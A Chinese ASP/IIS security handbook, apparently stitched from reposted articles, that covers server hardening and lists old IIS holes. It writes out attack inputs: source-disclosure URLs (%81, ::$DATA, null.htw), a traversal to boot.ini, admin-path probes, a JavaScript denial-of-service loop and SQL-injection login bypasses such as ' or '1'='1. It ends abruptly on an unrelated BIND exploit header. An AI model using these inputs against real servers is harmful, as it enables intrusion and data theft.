不要使用远程管理软件，除非不得已。由于NT不太支持远程管理，所以你可能会安装Reachout或者PC anywhere来管理。可是，当你安装了这些软件，你就不得不开启TCP/IP的所有端口。
在你离开服务器的时候，请按"Ctrl+del+alt"，并选择"锁定工作站"。

4 磁盘文件格式使用比较安全的NTFS格式

NTFS 权限是 Web 服务器安全性的基础，它定义了一个或一组用户访问文件和目录的不同级别。当拥有 Windows NT 有效帐号的用户试图访问一个有权限限制的文件时，计算机将检查文件的 访问控制表 (ACL)。该表定义了不同用户和用户组 所被赋予的权限。例如，Web 服务器上的 Web 应用程序的所有者需要有"更改"权限来查看、更改和删除应用程序的 .asp 文件。但是，访问该应用程序的公共用户应仅被授予"只读"权限，以便将其限制为只能查看而不能更改应用程序的 Web 页。

5 对目录设置不同的属性，如：Read、Excute、Script

您可以通过配置您的 Web 服务器的权限来限制所有用户查看、运行和操作您的ASP 页的方式。不同于 NTFS 权限提供的控制特定用户对应用程序文件和目录的访问方式， Web 服务器权限应用于所有用户，并且不区分用户帐号的类型。 对于要运行您的 ASP 应用程序的用户，在设置 Web 服务器权限时，必须遵循下列原则：
对包含 .asp 文件的虚拟目录允许"读"或"脚本"权限。
对 .asp 文件和其他包含脚本的文件（如 .htm 文件等）所在的虚目录允许"读"和"脚本"权限。
对包含 .asp 文件和其他需要"执行"权限才能运行的文件（如 .exe 和 .dll 文件等）的虚目录允许"读"和"执行"权限。

6 维护 Global.asa 的安全

为了充分保护 ASP 应用程序，一定要在应用程序的 Global.asa 文件上为适当的用户或用户组设置 NTFS 文件权限。如果 Global.asa 包含向浏览器返回信息的命令而您没有保护 Global.asa 文件，则信息将被返回给浏览器，即便应用程序的其他文件被保护。

7 不要把密码，物理路径直接写在程序中

很难保证您的ASP程序是否会给人拿到，即使你安装了最新的补丁。为
了安全起见，应该把密码和用户名保存在数据库中，使用虚拟路径。

8 在程序中记录用户的详细信息

这些信息包括用户的浏览器、用户停留的时间，用户IP等。其中
记录IP是最有用的。
可用下面的语句了解客户端和服务端的信息：

<Table><%for each name in request.servervariables%>
<tr><td><%=name%>:</td>
<td><%=request.servervariables(name)%></td>
</tr>
<%next%></table>

如果我们可以记录了用户的IP，就能通过追捕来查用户的具体地点。
当然如果用户通过代理来浏览网页，上面的方法只能看到用户代理的IP，而不能记录用户真实的IP。ASP没有提供查看客户端网卡物理地址（即MAC）的功能。

9 Cookie 安全性

ASP 使用 SessionID cookie 跟踪应用程序访问或会话期间特定的 Web 浏览器的信息。这就是说，带有相应的 cookie 的 HTTP 请求被认为是来自同一 Web 浏览器。Web 服务器可以使用 SessionID cookies 配置带有用户特定会话信息的 ASP 应用程序。例如，如果您的应用程序是一个允许用户选择和购买 CD 唱盘的联机音乐商店，就可以用 SessionID 跟踪用户漫游整个应用程序时的选择。
SessionID 能否被黑客猜中？
为了防止计算机黑客猜中 SessionID cookie 并获得对合法用户的会话变量的访问，Web 服务器为每个 SessionID 指派一个随机生成号码。每当用户的 Web 浏览器返回一个 SessionID cookie 时，服务器取出 SessionID 和被赋予的数字，接着检查是否与存储在服务器上的生成号码一致。若两个号码一致，将允许用户访问会话变量。这一技术的有效性在于被赋予的数字的长度（64 位），此长度使计算机黑客猜中 SessionID 从而窃取用户的活动会话的可能性几乎为 0。
加密重要的 SessionID Cookie.
截获了用户 sessionID cookie 的计算机黑客可以使用此 cookie 假冒该用户。如果 ASP 应用程序包含私人信息，信用卡或银行帐户号码，拥有窃取的 cookie 的计算机黑客就可以在应用程序中开始一个活动会话并获取这些信息。您可以通过对您的 Web 服务器和用户的浏览器间的通讯链路加密来防止 SessionID cook ie 被截获。

10 使用身份验证机制保护被限制的 ASP 内容

可以要求每个试图访问被限制的 ASP 内容的用户必须要有有效的 Windows NT帐号的用户名和密码。每当用户试图访问被限制的内容时，Web 服务器将进行身份验证，即确认用户身份，以检查用户是否拥有有效的 Windows NT 帐号。
Web 服务器支持以下几种身份验证方式：
基本身份验证 提示用户输入用户名和密码。
Windows NT 请求/响应式身份验证,从用户的 Web 浏览器通过加密方式获取用户身份信息。
然而，Web 服务器仅当禁止匿名访问或 Windows NT 文件系统的权限限制匿名访问时才验证用户

11 保护源数据库

访问源数据库的 ASP 脚本需要 Web 服务器所运行的计算机的管理员权限。在从远程计算机上运行这些脚本时，须经已通过身份验证的连接，如使用 Windows NT 请求/响应验证方式进行连接。应该为管理级 .asp 文件创建一个服务器或目录并将其目录安全验证方式设置为 Windows NT 请求/响应式身份验证。目前，仅 Microsoft Internet Explorer version 2.0 或更高版本支持 Windows NT 请求响应式身份验证。

12 使用 SSL 维护应用程序的安全

SSL （Secure Sockets Layer）协议是由Netscape首先发表的网络资料安全传输协定,其首要目的是在两个通信间提供秘密而可靠的连接。该协议由两层组成，底层是建立在可靠的传输协议（例如：TCP）上的是SSL的记录层，用来封装高层的协议。SSL握手协议准许服务器端与客户端在开始传输数据前，能够通过特定的加密算法相互鉴别。SSL的先进之处在于它是一个独立的应用协议，其它更高层协议能够建立在SSL协议上。
SSL3.0 协议作为 Web 服务器安全特性，提供了一种安全的虚拟透明方式来建立与用户的加密通讯连接。SSL 保证了 Web 内容的验证，并能可靠地确认访问被限制的 Web 站点的用户的身份。
通过 SSL，您可以要求试图访问被限制的 ASP 应用程序的用户与您的服务器建立一个加密连接；以防用户与应用程序间交换的重要信息被截取。
比如好多基于WEB的ASP论坛都会提供注册用户互相发送信息的服务，这种信息是明文传送的，如果在网吧就很容易给人监听到。如果加了一层SSL认证，就会防止发送信息被监听的可能。

13 客户资格认证

控制对您的 ASP 应用程序访问的一种十分安全的方法是要求用户使用 客户资格登录。客户资格是包含用户身份信息的数字身份证，它的作用与传统的诸如护照或驾驶执照等身份证明相同。用户通常从委托的第三方组织获得客户资格，第三方组织在发放资格证之前确认用户的身份信息。（通常，这类组织要求姓名、地址、电话号码及所在组织名称；此类信息的详细程度随给予的身份等级而异。）
每当用户试图登录到需要资格验证的应用程序时，用户的 Web 浏览器会自动向服务器发送用户资格。如果 Web 服务器的 Secure Sockets Layer (SSL) 资格映射特性配置正确，那么服务器就可以在许可用户对 ASP 应用程序访问之前对其身份进行确认。
作为 ASP 应用程序开发人员，您可以编写脚本来检查资格是否存在并读取资格字段。例如，您可以从资格证明中访问用户名字段和公司名字段。Active Server Pages 在 Request 对象的 ClientCertificate 集合中保存资格信息。
必须将 Web 服务器配置为接受或需要客户资格，然后才能通过 ASP 处理客户资格；否则，ClientCertificate 集合将为空。

14 ASP的加密

由于ASP脚本是采用明文（plain text）方式来编写的，所以应用开发商辛苦开发出来的ASP应用程序，一旦发布到运行环境中去后，就很难确保这些"源代码"不会被流传出去。这样就产生了如何有效地保护开发出来的ASP脚本源代码的需求。
官方加密程序：从微软免费下载到sce10chs.exe 直接运行即可完成安装过程。安装完毕后，将生成screnc.exe文件，这是一个运行在DOS PROMAPT的命令工具。
运行screnc - l vbscript source.asp destination.asp生成包含密文ASP脚本的新文件destination.asp用记事本打开看凡是"<%和%>"之内的，不管是否注解，都变成不可阅读的密文了，但无法加密中文。
几种ASP源代码保护方法：

1，"脚本最小化"即ASP文件中只编写尽可能少的源代码，实现
商业逻辑的脚本部分被封装到一个COM/DCOM组件，并在ASP脚
本中创建该组件，进而调用相应的方法（methed）即可。应用开发者
动手开发ASP脚本应用之前就可按此思路来开发，或者直接用ASP
脚本快速开发出原型系统后，针对需要保护、加密的重要脚本用
COM/DCOM组件来重新开发、实现并替换。

2，"脚本加密"即ASP脚本仍直接按源代码方式进行开发，但在发布到运行环境之前将脚本进行加密处理，只要把加密后的密文脚本发布出去。即在ASP.DLL读取脚本这个环节加入密文还原的处理。实现这种思路的方法有两种：一是自行开发一个ISAPI的IIS过滤（filter）块，在ASP.DLL之前勾连（hook）对ASP脚本文件的读取，以便把文件系统读出的密文还原成ASP.DLL可以解释的明文；
方法二是直接由ASP.DLL提供对ASP脚本加密处理的支持。微软在新版本的Vbscript.dll jscript.dll中提供这种成为MS script encode技术的支持。这样，无论是客户端的Vbscript jscript（包括WSH脚本等），还是服务器端的Vbscript jscript （即ASP脚本）都可以支持加密处理。
MS script encode 技术具体的实现思路包括以下两个方面：一是加密过程，通过提供一个实用程序对包含ASP脚本源代码的文本文件进行扫描，找出其标记为<script language = "vbscript.encode">或<script language = "Jscript.encode">；二是还原过程，IE或ASP.DLL等执行脚本时是统一通过Vbscript.dll jscript.dll来解释执行的，所以它们都能同时地、透明地支持明文和密文的脚本。
    总之，如果采用第一种思路，要么就自行在开发过程中遵照进行，要么可以考虑选择自动转换成visual basic 编译代码的通用的、实用工具；采取第二种思路的化，要么就自行开发IIS ISAPI过滤模块，要么可以考虑直接采用MS script encode软件。

下面来看看一种ASP可以使用的简单字符加密算法，而不是那些受限制的加密算法。其实，这里介绍的加密算法对于一般的运用来说已经足够解密人麻烦一阵子的了。它的加密基础是最简单的Vernum密码方法，它的基本原理是，需要有一个需要加密的明文和一个随机生成的解密钥匙文件。然后使用这两个文件组合起来生成密文。

(明文) 组合 (密钥) = 加密后的密文

所以这里介绍的是生成密钥的代码。我们假设我们生成的密钥为512位长的密钥，它已经足够来加密一个文本字符了。代码如下：

KeyGeN.asp文件
<%
'******************************
' KeyGeN.asp
'******************************
Const g_KeyLocation = "C:\key.txt"
Const g_KeyLen = 512

On Error Resume Next

Call WriteKeyToFile(KeyGeN(g_KeyLen),g_KeyLocation)

if Err <> 0 Then
Response.Write "ERROR GENERATING KEY." & "<P>"
Response.Write Err.Number & "<BR>"
Response.Write Err.Description & "<BR>"
Else
Response.Write "KEY SUCCESSFULLY GENERATED."
End If

Sub WriteKeyToFile(MyKeyString,strFileName)
Dim keyFile, fso
set fso = Server.CreateObject("scripting.FileSystemObject")
set keyFile = fso.CreateTextFile(strFileName, true)
keyFile.WriteLine(MyKeyString)
keyFile.Close
End Sub

Function KeyGeN(iKeyLength)
Dim k, iCount, strMyKey
lowerbound = 35
upperbound = 96
Randomize ' Initialize random-number generator.
for i = 1 to iKeyLength
s = 255
k = Int(((upperbound - lowerbound) + 1) * Rnd + lowerbound)
strMyKey = strMyKey & Chr(k) & ""
next
KeyGeN = strMyKey
End Function

%>

在IIS下运行上面的KeyGeN.asp页面。你只需要如此做一次，他将把密钥写入文件c:\key.txt中 (如果你愿意的话，你也可以把这个文件放到另外一个更加安全的地方)，然后你可以打开这个key.txt文件，它将包含512个ASCII码在35到96之间的字符。并且由于是随机生成的，所以每个人的私人密钥文件key.txt将是不一样的，下面是一个例子密钥文件：

IY/;$>=3)?^-+7M32#Q]VOII.Q=OFMC`:P7_B;<R/8U)XFHC<SR_E$.DLG'=I+@5%*+OP:F_=';'NSY`-^S.`AA=BJ3M0.WF#T5LGK(=/<:+C2K/^7AI$;PU'OME2+T8ND?W$C(J\,;631'M-LD5F%%1TF_&K2A-D-54[2P,#'*JU%6`0RF3CMF0(#T07U'FZ=>#,+.AW_/+')DIB;2DTIA57TT&-]O'/*F'M>H.XH5W^0Y*=71+5*^`^PKJ(=E/X#7A:?,S>R&T;+B#<:-*\@)X9F`_`%QA3Z95.?_T#1,$2#FWW5PBH^*<)A(S0@AVD8C^Q0R^T1D?(1+,YE71X+.*+U$:3XO^Q).KG&0N0);[LJ<OZ6IN?7N4<GTL?(M'4S8+3JMK5)HC%^1^+K;\$WBXPA?F&5^E\D$7%*O/U[1/?8(5:1OVWV*1Z-%`:K&V?X1,1KURD@3W0^D)<OG40?(VJ4EWL5A5M<$A);CQ36R9I]*U#Q%1<Y\&SA%#1<V

下面再仔细分析一下上面的程序，我们发现其中的lowerbound和upperbound的数值
其实就是你想使用来加密的ASCII字符范围。

下面的代码将介绍如何使用这个密钥来加密和解密一个字符串

Crypt.asp文件
<%
Dim g_Key

Const g_CryptThis = "Now is the time for all good men to come to the aid of their country."
Const g_KeyLocation = "c:\key.txt"

g_Key = mid(ReadKeyFromFile(g_KeyLocation),1,Len(g_CryptThis))

Response.Write "<p>ORIGINAL STRING: " & g_CryptThis & "<p>"
Response.Write "<p>KEY VALUE: " & g_Key & "<p>"
Response.Write "<p>ENCRYPTED CYPHERTEXT: " & EnCrypt(g_CryptThis) & "<p>"
Response.Write "<p>DECRYPTED CYPHERTEXT: " & DeCrypt(EnCrypt(g_CryptThis)) & "<p>"

Function EnCrypt(strCryptThis)
Dim strChar, iKeyChar, iStringChar, i
for i = 1 to Len(strCryptThis)
iKeyChar = Asc(mid(g_Key,i,1))
iStringChar = Asc(mid(strCryptThis,i,1))
' *** uncomment below to encrypt with addition,
' iCryptChar = iStringChar + iKeyChar
iCryptChar = iKeyChar Xor iStringChar
strEncrypted = strEncrypted & Chr(iCryptChar)
next
EnCrypt = strEncrypted
End Function

Function DeCrypt(strEncrypted)
Dim strChar, iKeyChar, iStringChar, i
for i = 1 to Len(strEncrypted)
iKeyChar = (Asc(mid(g_Key,i,1)))
iStringChar = Asc(mid(strEncrypted,i,1))
' *** uncomment below to decrypt with subtraction
' iDeCryptChar = iStringChar - iKeyChar
iDeCryptChar = iKeyChar Xor iStringChar
strDecrypted = strDecrypted & Chr(iDeCryptChar)
next
DeCrypt = strDecrypted
End Function

Function ReadKeyFromFile(strFileName)
Dim keyFile, fso, f
set fso = Server.CreateObject("Scripting.FileSystemObject")
set f = fso.GetFile(strFileName)
set ts = f.OpenAsTextStream(1, -2)

Do While not ts.AtEndOfStream
keyFile = keyFile & ts.ReadLine
Loop

ReadKeyFromFile = keyFile
End Function

%>

在Crypt.asp中我们首先从密钥文件中得到密钥值，然后从这段密钥中截取和我们需要加密的明文同样长度的密钥。然后使用一个简单的异或操作将明文和密钥进行运算，那么得到的结果就是加密后的密文了。过程很简单的。由于是使用了异或操作，所以解密将非常简单，只要使用同样的密钥对密文再次进行异或操作就能够解密了。在上面介绍的基础上，你可以少加改动，就可以使用同样的方法加密一个文件。唯一需要注意的是，对于一个二进制文件，你需要做一些完整性检查以保证转换回来的字符不要越界。
现在你需要做的就是把密钥保存在服务器上的一个安全的地方（不能够被外部访问）

15 SQL SERVER的安全性

目前用ASP编写的WEB应用中，后台数据库大部分SQL　SERVER。SQL　SERVER相对来说比较安全。但是也要小心地配置SQL　Server。

1 安装远程数据库管理有风险
SQL Server支持从远程进行数据库的维护。在安装时你可以选择不安装，安装完成以后，你还可以通过"SQL Server Network Utility"来删除远程管理。如果你要使用远程管理，请使用TCP/IP，并将缺省的端口1433改变为其他的数值。使用远程对你可能比较方便，便是请注意一个hacker只要知道你的SQL server密码，就可以进入你的数据库。
2 改变sa的密码
缺省安装时，SQL　SERVER的sa账号的密码为空，建议你在Enterprise SERVER中，改变sa的密码。
3 数据库登录账号不要写入ASP页面中。

16 使用最新的扫描器扫描ASP漏洞

目前可以扫描IIS漏洞的扫描器有很多，比较有名的有ISS，CIS和gnit等。下面我们以GNIT为例子。
GNIT是个功能很强的漏洞扫描器，能扫描NT的用户名和相关信息列表，扫描IIS的漏洞。
在WINNT的DOS模式下打下:
gnit <对方IP＞
比如：gnit 172.1.1.1

GNIT开始扫描端口，从上图可知目标主机提供了HTTP，FTP，SMTP等服务，扫描完后。会在GNIT目录下生成一个HTML文件，其文件名是目标主机的IP。打开这个HTML文件，会看到对方主机的一些信息和漏洞。这些信息和漏洞包括:用户名和组的相关详细信息，开放的服务和WEB扫描的漏洞等。我们比较关心的是WEB扫描的漏洞信息：
下图是GNIT的WEB扫描一些信息，其中加粗部分是漏洞，当然有些漏洞并不准确，但不妨试试。（有必要说明下，以下我是在一台NT4。01，IIS4。0，Option PACK6.0,并且缺省安装）

  要测试这些漏洞很简单。比如：可在URL输入：
  http://someurl/iisadmpwd/aexp3.htr
―――可远程管理IIS。

http://someurl/scripts/iisadmin/bdir.htr
――――目标主机的硬盘全部目录都一览无余，并且有创建新目录的功能（不过我在测试中，并不能创建远程目录，但是能使目标主机的WEB当机）
http://someurl/scripts/tools/getdrvrs.exe
  ----可在远程主机上创建ODBC数据库，不管数据库路径和数据库是否存在。

此外还有其它的漏洞，请网友自己测试。其解决方法请看上面的漏洞分析。
如果用CIS扫描器，还有比较详细的漏洞分析和解决方法。请读者自己分析。

七、总结

    目前WEB数据库访问的多种技术中，比如CGI（通用网关接口）、JDBC、PHP、ASP，ASP以其开发周期短，存取方式数据库简单，运行速度快而成为众多网站程序员的首选开发技术。
但是其网络安全性也是不容忽视的。做为一个ASP开发者，你必须关注NT和IIS的安全漏洞，从上面的讨论我们可以看到ASP的很多漏洞都是由IIS所引起的。同时ASP程序员在开发自己的网站时，要注意来自ASP程序设计不当所引发的安全问题。

八、声明

    其中某些例子是从其它网站上整理的，因时间紧迫，未来得及通知作者，请见谅。

注：以上四篇均转自绿盟科技。难得的好文章，讲得很详细，值得一看！！


ASP网络安全手册（一）

一 前言

Microsoft Active Server Pages（ASP）是服务器端脚本编写环境，使用它可以创建和运行动态、交互的 Web 服务器应用程序。使用 ASP 可以组合 HTML 页 、脚本命令和 ActiveX 组件以创建交互的 Web 页和基于 Web 的功能强大的应用程序。
现在很多网站特别是电子商务方面的网站，在前台上大都用ASP来实现。以至于现在ASP在网站应用上很普遍。
ASP是开发网站应用的快速工具，但是有些网站管理员只看到ASP的快速开发能力，却忽视了ASP安全问题。ASP从一开始就一直受到众多漏洞，后门的困扰，包括%81的噩梦，密码验证问题，IIS漏洞等等都一直使ASP网站开发人员心惊胆跳。
本文试图从开放了ASP服务的操作系统漏洞和ASP程序本身漏洞，阐述ASP安全问题，并给出解决方法或者建议。

二 关键字

ASP，网络安全，IIS，SSL，加密。

三 ASP工作机理

Active Server Page技术为应用开发商提供了基于脚本的直观、快速、高效的应用开发手段，极大地提高了开发的效果。在讨论ASP的安全性问题之前，让我们来看看ASP是怎么工作的。ASP脚本是采用明文（plain text）方式来编写的。

ASP脚本是一系列按特定语法（目前支持vbscript和jscript两种脚本语言）编写的，与标准HTML页面混合在一起的脚本所构成的文本格式的文件。当客户端的最终用户用WEB浏览器通过INTERNET来访问基于ASP脚本的应用时，WEB浏览器将向WEB服务器发出HTTP请求。WEB服务器分析、判断出该请求是ASP脚本的应用后，自动通过ISAPI接口调用ASP脚本的解释运行引擎（ASP.DLL）。ASP.DLL将从文件系统或内部缓冲区获取指定的ASP脚本文件，接着就进行语法分析并解释执行。最终的处理结果将形成HTML格式的内容，通过WEB服务器"原路"返回给WEB浏览器，由WEB浏览器在客户端形成最终的结果呈现。这样就完成了一次完整的ASP脚本调用。若干个有机的ASP脚本调用就组成了一个完整的ASP脚本应用。
让我们来看看运行ASP所需的环境：

Microsoft Internet Information Server 3.0/4.0/5.0 on NT Server
Microsoft Internet Information Server 3.0/4.0/5.0 on Win2000
Microsoft Personal Web Server on Windows 95/98

WINDOWS NT Option Pack所带的Microsoft IIS提供了强大的功能，但是IIS在网络安全方面却是比较危险的。因为很少有人会用Windows 95/98当服务器，因此本文我更多的从NT中的IIS安全问题来探讨。

四 微软自称的ASP的安全优点

虽然我们本文的重点是探讨ASP漏洞和后门，但是有必要谈谈ASP在网络安全方面的"优点"，之所以加个""，是因为有时这些微软宣称的"优点"恰恰是其安全隐犯。

微软称ASP在网络安全方面一大优点就是用户不能看到ASP的源程序，从ASP的原理上看，ASP在服务端执行并解释成标准的HTML语句，再传送给客户端浏览器。"屏蔽"源程序能很好的维护ASP开发人员的版权，试想你辛辛苦苦做了一个很优秀的程序，给人任意COPY，你会怎么想？而且黑客还能分析你的ASP程序，挑出漏洞。更重要的是有些ASP开发者喜欢把密码，有特权的用户名和路径直接写在程序中，这样别人通过猜密码，猜路径，很容易找到攻击系统的"入口"。但是目前已经发现了很多能查看ASP源程序的漏洞，后面我们还要讨论。

IIS支持虚拟目录，通过在"服务器属性"对话框中的"目录"标签可以管理虚拟目录。建立虚拟目录对于管理WEB站点具有非常重要的意义。虚拟目录隐藏了有关站点目录结构的重要信息。因为在浏览器中，客户通过选择"查看源代码"，很容易就能获取页面的文件路径信息，如果在WEB页中使用物理路径，将暴露有关站点目录的重要信息，这容易导致系统受到攻击。其次，只要两台机器具有相同的虚拟目录，你就可以在不对页面代码做任何改动的情况下，将WEB页面从一台机器上移到另一台机器。还有就是，当你将WEB页面放置于虚拟目录下后，你可以对目录设置不同的属性，如：Read、Excute、Script。读访问表示将目录内容从IIS传递到浏览器。而执行访问则可以使在该目录内执行可执行的文件。当你需要使用ASP时，就必须将你存放.asp文件的目录设置为"Excute（执行）"。建议大家在设置WEB站点时，将HTML文件同ASP文件分开放置在不同的目录下，然后将HTML子目录设置为"读"，将ASP子目录设置为"执行"，这不仅方便了对WEB的管理，而且最重要的提高了ASP程序的安全性，防止了程序内容被客户所访问。

五 ASP漏洞分析和解决方法

有人说一台不和外面联系的电脑是最安全的电脑，一个关闭所有端口，不提供任何服务的电脑也是最安全的。黑客经常利用我们所开放的端口实施攻击，这些攻击最常见的是DDOS（拒绝服务攻击）.下面我会列出ASP的二十几个漏洞，每个漏洞都会有漏洞描述和解决方法。

1 在ASP程序后加个特殊符号，能看到ASP源程序

受影响的版本：

win95+pws
IIS3.0
98+pws4 不存在这个漏洞。
IIS4.0以上的版本也不存在这个漏洞。

问题描述：

这些特殊符号包括小数点，%81, ::$DATA。比如：
http://someurl/somepage.asp.
http:// someurl/somepage.asp%81
http:// someurl/somepage.asp::$DATA
http:// someurl/somepage.asp %2e
http:// someurl/somepage %2e%41sp
http:// someurl/somepage%2e%asp
http:// someurl/somepage.asp %2e
http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini （可以看到boot.ini的文件内容）那么在安装有IIS3.0和win95+PWS的浏览中就很容易看到somepage.asp的源程序。究竟是什么原因造成了这种可怕的漏洞呢？究其根源其实是 Windows NT 特有的文件系统在做怪。有一点常识的人都知道在 NT 提供了一种完全不同于 FAT 的文件系统：NTFS，这种被称之为新技术文件系统的技术使得 NT 具有了较高的安全机制，但也正是因为它而产生了不少令人头痛的隐患。大家可能不知道， NTFS 支持包含在一个文件中 的多数据流，而这个包含了所有内容的主数据流被称之为"DATA"，因此使得在浏览器 里直接访问 NTFS 系统的这个特性而轻易的捕获在文件中的脚本程序成为了可能。然而 直接导致 ::$DATA 的原因是由于 IIS 在解析文件名的时候出了问题，它没有很好地规范文件名。

解决方法和建议：

如果是Winodws NT用户，安装IIS4.0或者IIS5.0，Windows2000不存在这个问题。如果是win95用户，安装WIN98和PWS4.0。

2 ACCESS mdb 数据库有可能被下载的漏洞

问题描述：

在用ACCESS做后台数据库时，如果有人通过各种方法知道或者猜到了服务器的ACCESS数据库的路径和数据库名称，那么他能够下载这个ACCESS数据库文件，这是非常危险的。比如：如果你的ACCESS数据库book.mdb放在虚拟目录下的database目录下，那么有人在浏览器中打入：
http:// someurl/database/book.mdb如果你的book.mdb数据库没有事先加密的话，那book.mdb中所有重要的数据都掌握在别人的手中。

解决方法：

(1) 为你的数据库文件名称起个复杂的非常规的名字，并把他放在几目录下。所�"非常规"，打个比方：比如有个数据库要保存的是有关书籍的信息，可不要把他起个"book.mdb"的名字，起个怪怪的名称，比如d34ksfslf.mdb，再把他放在如./kdslf/i44/studi/ 的几层目录下，这样黑客要想通过猜的方式得到你的ACCESS数据库文件就难上加难了。
(2)不要把数据库名写在程序中。有些人喜欢把DSN写在程序中，比如：

DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath

假如万一给人拿到了源程序，你的ACCESS数据库的名字就一览无余。因此建议你在ODBC里设置数据源，再在程序中这样写：
conn.open "shujiyuan"
(3)使用ACCESS来为数据库文件编码及加密。首先在选取"工具->安全->加密/解密数据库，选取数据库（如：employer.mdb），然后接确定，接着会出现"数据库加密后另存为"的窗口，存为：employer1.mdb。接着employer.mdb就会被编码，然后存为employer1.mdb..
要注意的是，以上的动作并不是对数据库设置密码，而只是对数据库文件加以编码，目的是为了防止他人使用别的工具来查看数据库文件的内容。
接下来我们为数据库加密，首先以打开经过编码了的employer1.mdb，在打开时，选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码"，接着输入密码即可。
为employer1.mdb设置密码之后，接下来如果再使用ACCEES数据库文件时，则ACCESS会先要求输入密码，验证正确后才能够启动数据库。
不过要在ASP程序中的connection对象的open方法中增加PWD的参数即可，例如：

param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs"
param=param&";dbq="&server.mappath("employer1.mdb")
conn.open param

这样即使他人得到了employer1.mdb文件，没有密码他是无法看到employer1.mdb的。

3 code.asp文件会泄漏ASP代码

问题描述：

举个很简单的例子，在微软提供的 ASP1.0 的例程里有一个 .asp 文件专门用来查看其它 .asp 文件的源代码，该文件为 ASPSamp/Samples/code.asp。如果有人把这个程序上传到服务器，而服务器端没有任何防范措施的话，他就可以很容易地查看他人的程序。例如 :
    code.asp?source=/directory/file.asp
不过这是个比较旧的漏洞了，相信现在很少会出现这种漏洞。
下面这命令是比较新的：
http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp
最大的危害莫过于asa文件可以被上述方式读出；数据库密码以明文形式暴露在黑客眼前;

问题解决或建议：

对于IIS自带的show asp code的asp程序文件，删除该文件或者禁止访问该目录即可

4、filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞

问题描述：

    IIS3、 IIS4 的 ASP 的文件操作都可以通过 filesystemobject 实现，包括文本文件的读写目录操作、文件的拷贝改名删除等，但是这个强大的功能也留下了非常危险的 "后门"。利用 filesystemobjet 可以篡改下载 fat 分区上的任何文件。即使是 ntfs 分区，如果权限没有设定好的话，同样也能破坏，一不小心你就可能遭受"灭顶之灾 "。遗憾的是很多 webmaster 只知道让 web 服务器运行起来，很少对 ntfs 进行权限 设置，而 NT 目录权限的默认设置偏偏安全性又低得可怕。因此，如果你是 Webmaster，建议你密切关注服务器的设置，尽量将 web 目录建在 ntfs 分区上，目录不要设定 everyone full control，即使是是管理员组的成员一般也没什么必要 full control，只要有读取、更改权限就足够了。 也可以把filesystemobject的组件删除或者改名。

5、输入标准的HTML语句或者javascript语句会改变输出结果

问题描述：

在输入框中打入标准的HTML语句会得到什么相的结果呢？比如一个留言本，我们留言内容中打入：

<font size=10>你好！</font>

如果你的ASP程序中没有屏蔽html语句，那么就会改变"你好"字体的大小。在留言本中改变字体大小和贴图有时并不是什么坏事，反而可以使留言本生动。但是如果在输入框中写个 javascript 的死循环，比如：<a herf="http://someurl" onMouseover="while(1){window.close('/')}">特大新闻</a>
那么其他查看该留言的客人只要移动鼠标到"特大新闻"，上就会使用户的浏览器因死循环而死掉。

解决方法和建议：

编写类似程序时应该做好对此类操作的防范，譬如可以写一段程序判断客户端的输入，并屏蔽掉所有的 HTML、 Javascript 语句。

6、ASP程序密码验证漏洞

漏洞描述：

很多网站把密码放到数据库中，在登陆验证中用以下sql,(以asp为例）
sql="select * from user where username='"&username&"'and pass='"& pass &'"
此时，您只要根据sql构造一个特殊的用户名和密码，如：ben' or '1'='1
就可以进入本来你没有特权的页面。再来看看上面那个语句吧：
sql="select * from user where username='"&username&"'and pass='"& pass&'"
此时，您只要根据sql构造一个特殊的用户名和密码，如：ben' or '1'='1
这样,程序将会变成这样: sql="select*from username where username="&ben'or'1'=1&"and pass="&pass&"
or 是一个逻辑运算符,作用是在判断两个条件的时候,只要其中一个条件成立,那么等式将会成立.而在语言中,是以1来代表真的(成立).那么在这行语句中,原语句的"and"验证将不再继续,而因为"1=1"和"or"令语句返回为真值.。
另外我们也可以构造以下的用户名：
username='aa' or username<>'aa'
pass='aa' or pass<>'aa'
相应的在浏览器端的用户名框内写入：aa' or username<>'aa
口令框内写入：aa' or pass<>'aa,注意这两个字符串两头是没有'的。
这样就可以成功的骗过系统而进入。

后一种方法理论虽然如此，但要实践是非常困难的，下面两个条件都必须具备。

1. 你首先要能够准确的知道系统在表中是用哪两个字段存储用户名和口令的，只有这样你才能准确的构造出这个进攻性的字符串。实际上这是很难猜中的。
2.系统对你输入的字符串不进行有效性检查。

问题解决和建议：

对输入的内容验证和"'"号的处理。

7、IIS4或者IIS5中安装有INDEX SERVER服务会漏洞ASP源程序

问题描述：

在运行IIS4或者IIS5的Index Server，输入特殊的字符格式可以看到ASP源程序或者其它页面的程序。甚至以及添打了最近关于参看源代码的补丁程序的系统，或者没有.htw文件的系统，一样存在该问题。获得asp程序，甚至global.asa文件的源代码，无疑对系统是一个非常重大的安全隐患。往往这些代码中包含了用户密码和ID，以及数据库的源路径和名称等等。这对于攻击者收集系统信息，进行下一步的入侵都是非常重要的。
通过构建下面的特殊程序可以参看该程序源代码：
http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full
这样只是返回一些html格式的文件代码，但是当你添加%20到CiWebHitsFile的参数后面，如下:
http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full
这将获得该程序的源代码。
（注意：/default.asp是以web的根开始计算。如某站点的http:///welcome/welcome.asp
那么对应就是：
http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full
)
由于'null.htw'文件并非真正的系统映射文件，所以只是一个储存在系统内存中的虚拟文件。哪怕你已经从你的系统中删除了所有的真实的.htw文件，但是由于对null.htw文件的请求默认是由webhits.dll来处理。所以，IIS仍然收到该漏洞的威胁。

问题解决或者建议：

如果该webhits提供的功能是系统必须的，请下载相应的补丁程序。如果没必要，请用IIS的MMC管理工具简单移除.htw的映象文件。
补丁程序如下：
Index Server 2.0:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Indexing Services for Windows 2000:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17726


BIND8.2.x的exploit代码

/*
* This exploit has been fixed and extensive explanation and clarification
* added.
